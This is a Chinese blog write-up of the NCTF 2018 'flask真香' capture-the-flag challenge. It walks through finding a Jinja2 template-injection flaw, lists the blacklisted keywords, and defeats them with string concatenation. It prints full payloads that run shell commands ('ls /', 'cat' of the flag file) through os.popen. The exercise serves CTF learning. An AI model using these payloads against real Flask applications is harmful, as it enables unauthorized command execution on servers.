解:[NCTF 2018]flask真香--TLS_预备队任务(1)

题目:

F12查看,没发现什么东西。

翻页发现

页面内容和url一样。

试试。

有SSTI漏洞。

一、过滤

尝试{{''.__class__}}

url内容空了,应该是被过滤了。

逐个尝试关键字,发现其过滤了这些:

class

mro

subclasses

builtins

eval

import

open

os

二、绕过关键字过滤

使用字符串拼接的方法来绕过。

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[]}}

找到<class 'os._wrap_close'>,没有脚本的话用蠢一点的方法。

CTRL+F查找:

我们找每个元素都有的字符 > 。

先找到os.wrap_close的位置,在找>即可得知其对应的位置

在383的位置

三、payload

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[383].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

cat flag

{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[117].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}

重启题目后的<class 'os._wrap_close'>位置会变。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值